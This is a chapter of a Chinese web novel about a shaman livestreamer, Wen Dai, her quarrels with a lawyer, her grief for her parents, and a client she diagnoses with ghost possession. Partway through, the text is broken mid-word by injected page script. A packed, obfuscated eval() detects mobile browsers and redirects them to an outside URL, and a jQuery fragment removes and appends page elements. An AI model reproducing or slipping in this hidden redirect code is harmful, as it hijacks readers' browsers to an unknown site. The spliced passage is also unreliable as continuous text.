从门缝里偶尔泄出几句被拔高了音量的骂声。工位临近办公室的几个员工恨不得化身顺风耳,处理着资料的手情不自禁放慢了动作,瞳仁偏离正中位走到眼角。
通过这间或流露的几个短句,办公室外的员工已然在脑海中构造出一场狗血剧。
闻黛仍旧维持着与桌面形成锐角的姿势,两手挂在陈斯辙的手腕上,气红了的脸偕同着急促的呼吸印证她的愠怒,两颗黑瞳子里迸出的视线紧锁着他,“不是我说,你该不会是我的同行吧?表面上是坚定的唯物主义的律师,背地里接着算命算卦的生意……不然你怎么解释你刷到我的直播间的原因?大数据的时代,你要是没有了解这方面的东西平台怎么会把我的直播间推给你?我看你就是嫉妒我能力比你强生意比你好!”
原本端着不屑于跟她起手脚的矜傲姿态的陈斯辙倏地把她的手给拨下去,他握着手机后退了两步,办公椅被撞得磕了下办公桌,盛放在眼眶里的眼仁中愕怔转瞬即逝,再度滉开的墨色把情绪吞吃。
他牵着唇角拉出冷嘲:“你可真会自我脑补,自己站在泥坑里,就把泥点子往其他人身上甩。你既然知道大数据算法推流,那你怎么不知道直播间也很容易推给同城的人?”
喉咙被他塞住,挫败感在闻黛心中油然蔓生,被扯开后撑在他办公桌上的手缓缓缩成拳头,脑袋往下栽,木质的桌面铺在她的眼眸里。无力,好难过。
她的模样落进陈斯辙眼里,却形同一只张牙舞爪的猫被倾盆的大雨淋了个透彻,指甲和尖牙皆被拔了个干净。心脏没来由地疼了一下,仿佛那些指甲和尖牙装在心的内壁,俱把尖锐刺于他。
他讨厌不受控感,但灵魂逼着他对她心软。
“……那七千块我可以还给你,以后刷到你的直播间我也可以当没看见;但你不要再来骚扰我,不要再出现在我面前。”
陈斯辙为自己择出自认为万全的方案,既然与她相见就容易萌发谲怪感,那就再也不见。
他迅速打开手机划到扫码页面,漠淡的眸光跃向闻黛,黛色的眉梢扬了扬以示意,“收款码。”
错愕的情绪引着闻黛举起下颚,她懵然地望着他,只见男人眉目间徐徐攒出不耐的神色,而后又是一声沉哑:“快点。”
她抿了下唇瓣,两只撑在桌上的手撤了回去,重新站直的身子单薄而孱瘦,直柳柳地立在桌前,昂起的桃花眼里拂去了适才冗杂的情感,桃色的唇瓣翕动出冷淡的字符:“我不是来要钱的。我只是想报复你想要你丢人而已,也是希望你可以不要再打扰我的生活;但愿你能说到做到。”
先前的无赖壳吐出了个平静如石的人,闻黛的五官与肌肉回归了最原始的状态,像是被敲定了的雕塑变不了形。
她旋过身,兀自走到门前将门打开;在与守在门外的成诺对上眼时,懒怠的唇角肌肉按照固定格式拽出个笑容,缀在旄端的语气词仿若只是为了让整体的语言柔和:“谢谢成诺姐姐的帮忙哦,我们已经说开了,再见啦。”
闻黛离开得洒脱,简单扎成的低马尾在后背荡动,有发丝布在削瘦的背脊上没离开。黑色的蛛网,被裹挟的是自己。
成诺一只手抵在门上,跟随着闻黛的视线在对方消失于视野时收回,她抬脚走进办公室里,双眉拧出端严色,目光笼着站在落地窗前的男人,诘问与警告偕行:“到底是怎么回事,你们怎么谈拢的?我告诉你啊陈斯辙,做男人要是始乱终弃那就是连畜生都不如,提裤子不认人的事儿你最好别干。”
“啧。成诺,你能不能少看点狗血小说,你这脑补能力做律师可真是委屈你了。总之事情不是你想的那样,反正现在也解决了,你与其在这儿跟我寻根究底,还不如去琢磨琢磨你手里的案子该怎么处理。你没事我还有事,工作时间,劳烦你以身作则一下。”体内的空缺感搅扰陈斯辙的心态,又有成诺的追问同时剔嬲,他哧出口浊气,拉过办公椅重新落座,举起的手挥了挥,倦怠地赶起了人。
-
以为拆构出对世界无畏的人格就是真无畏,然而拆解的碎片本身就嵌合着无法剖割的自我;重构的人格又如何摆脱自我。
房门紧闭,窗帘在出门前拉开过,房间里有过阳光走进,但——是“有过”。
闻黛把脑袋侧放在桌面上,凉的桌面成了脸的温,抑或是脸的温成了凉的桌。眼泪成了一滩小水洼,托着她。
不知道为什么,没有原因,就很想哭。
哦,是想爸妈。
掰碎了的时间是苦中药。十一年前距今似乎也没有很远,否则她怎么会还记得在学校和男同学起矛盾时为自己出头的母亲;否则怎么还会记得因她失落,而深夜偷偷带她去广场看喷泉的父亲。
“被欺负了要自己站出去,抓住自己本理的矛戳烂对方辩解的盾。最好不要哭,会让对方占上风。眼泪没用,要带着锋芒向前冲。”
被理科塑造的母亲常常冷静,但她没有只沉浸在化学的世界,她会用硼砂溶液和铁丝为她制作结晶花,这样的结晶花是脆弱的。她才对她说完掉眼泪没有用,后又说:“有妈妈在,你可以哭,可以不堪一击,就像结晶花一样,妈妈会保护你。”
“人生很多事都是突然滋出去的喷泉,你的不高兴也是。爸爸只希望啊,你的坏情绪可以像那些喷出去的水,喷出去以后再跌回来就变成好情绪,把杂质都悄悄地吐干净。我们阿黛,要做全世界最幸福的人。”
喷泉与灯光,那年的夜空星星没叛逃,父亲的脸孔印在星空上,朦胧地合去了一个图层——那时的是她是这般想。做梦都难料,成事实。
眼泪干在脸上时仿若贴了胶带,闻黛把脑袋支起来,她从放在电脑边的湿巾盒里抽出张拭过脸颊,空着的手被安排的任务是开电脑。
身为一个合格的萨满顶香弟子,想要给身后的仙家扬名,当然得有小号兜底。小号小号无穷尽。
身为一个合格的萨满顶香弟子,只准流十分钟的眼泪。
身为一个合格的萨满顶香弟子……
“哇才开播你就来啦可口可乐,好心有灵犀哦我们,居然被你在我大号的关注列表里发现了这个备用小号,更没想到你会这——么精准地卡中我直播的时间,我才刚开播嘞!”闻黛面颊上镶着的桃花眼闪出晶莹莹的笑,笑开时的虎牙和左颊的酒窝相得益彰,亲和力破顶。
【可口可乐最好喝:嘻嘻,我把你的号都设置特别关注了!】
【可口可乐最好喝送出火箭×3】
【可口可乐最好喝:老师不要在意质疑声,我觉得你很准】
直播间里仅有她一个观众,被闻黛强牵在脸上的笑差点碎开,眼泪差点掉出来。
哪怕站在角落,也有人看见她。
连闻黛自己都觉得离奇,第一反应居然不是想自己可以依附这位可口可乐激推。
这可恶的世界啊,草快干死了,知道洒水了。
按捺住鼻酸,她低了低额头,暗自活动着眼珠把试图出门的泪给关回去,复而撑出弧忻然印在双靥上:“谢谢可乐送的火箭。啊呀,遇见你是我的幸运呢,很感谢你。”
直播间又一次因“可口可乐最好喝”的礼物获得更多推流,原本还有些悬心吊胆,忧恐再度遇上陈斯辙和他的同类,然而这一次却出奇地顺利。
窗帘之外的天幕由碧落蓝染成帝释青,小气地挂上了几颗星,像对世界边角的存在那般小气。小气不给曙光,小气不给希望,小气得把他们打压到畸偻才施舍一颗糖,令他们感恩戴德,甚至想不到小气。
电脑熄了屏,运行声如同正在喷气的小管子突然裂成两半,只一瞬就没了音。
窗内的世界伸手难见五指,闻黛捏起被冷落的手机,来自「可口可乐最好喝」的微信消息有好几条,悬在屏幕上的手指不知出于何种心理,她把她设成了置顶之一。
【可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317882|183105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口可乐最好喝:老师你平常喊我名字就好啦,叫可乐感觉怪怪的说】
【可口可乐最好喝:我有个表姐遇到了一些事儿,老师你有空可以处理一下嘛】
【可口可乐最好喝:我表姐也在漓州的说】
原以为只是个过客而未给她设置备注,闻黛解释不了自己当前的状态。从前自认为理解钱艳和钱桐,如今方知狗屁,非要站在同一角色位上,才能真正共到情,其余俱是自以为是。
手指在屏幕上划点,她给她修改备注——王彤。
【die:好的呀彤彤~这样可以啵】
【die:可以!你把表姐的微信推给我吧,有什么问题我跟她详谈】
王彤的表姐韦玲在加上闻黛的微信后便杀了她个措手不及,视频电话伴随着音乐作用出把闻黛心脏吓到骤停的能力,她在本能的一声“我艹”后三脚两步地冲去拍开灯。
自己这一方世界回归明灼了她才接通视频。
闪在屏幕上的女人让闻黛端正了态度,因由无他——
从镜头视角可推断女人当下的姿势是屈膝靠坐于墙头,乱糟糟的头发披落,不知多久没洗头,发丝已成一绺一绺。诉说委顿的双眼眼皮是无力下垂的,深棕色的瞳孔拣不出一点光;眼眶处正透着黑,而印堂更是发着青黑的里色。
“师傅你好。听王彤说,得报名字,我叫韦玲。”四字一截,不是韦玲刻意为之,闻黛听得出是她快没气。
韦玲的信息碎片化地运送进闻黛大脑仓库,她双眉紧聚,澄莹的眸子里现出肃厉,“你快别说话了,说不了话可以不用说的。你家在哪,你等会儿把位置发我,我明天就过去帮你处理。你不用跟我说症状了,你这太明显了,水鬼缠身,上个月身体开始出问题吧?大概是上个月二十号的子时,你一个人去湖边走了一圈吧?你真够勇的,不就跟男朋友分个手吗?”
“师傅,你太厉害了。你怎么知道的?我是因为分手,就想去散散心。”韦玲每一截话皆要跟随一个喘气,她的下巴一坠一抬,眼皮似要合拢,惹得闻黛把金光神咒发给她盯着她念。
闻黛没耽搁,在视频电话结束后便匆遽地将明天大概会用到的东西收拾进了包里。
然而她防不胜防的是,为她编剧本的那位铁了心要耍弄她。
翌日。
背在肩的包随着闻黛的动作一荡一撞敲她的背。在进小区时,她正要举出韦玲给自己发的邀请码刷码进入,身前却骤然插来一堵墙,肉墙。
被插了队的闻黛下意识抬头想要看看是哪个没礼貌的厮,正逢前人侧头乜斜来一眼——乌墨色的碎发铺在他额前,被半掩的狐狸眼端着狷介的眸色。被他眄着,平白使人有种被轻藐的感受。
后槽牙突然就咬紧了,闻黛昂着脑袋把怒气瞪去他眼里,“你这是插队懂不懂?很没有礼貌诶。”
智能门禁系统已然敞开了门,站在她跟前的男人毫无愧色地抬腿往里走,被他拎在手中的黑包微晃,低沉的嗓音种在散漫的腔调里:“哼。开门分什么先来后到,门开了不就行了?想找茬也劳烦您找个成熟点儿的理由,没让你谢谢我替你开门都算我好心。”
耳朵装进他的声音闻黛都觉得像在啃生柠檬,心有怨气,但腿自发地迈动,趁着门开小跑了进去。
接二连三在他手里吃瘪,她服不了气,据理力争:“我需要你替我开门吗?你哪只眼睛看见我开不了门了?你可真是会给自己戴高帽啊。”
没有回复,她被陈斯辙无视了。
怀疑胸腔里放了个煤气罐,罐炸了,她也差不多。
于是踩在地砖上的每一步都仿若要把砖给踩裂,在身侧随着步子摆动的手业已攥出了个拳头。闻黛盯着跟前人的后背,他显豁是精瘦型的,被扎着下摆的T恤跟着动作折着褶子;视线从他被裤腰勒收的窄腰往下移,停在那被休闲裤包裹的臀部上。
还挺翘,想捶两拳。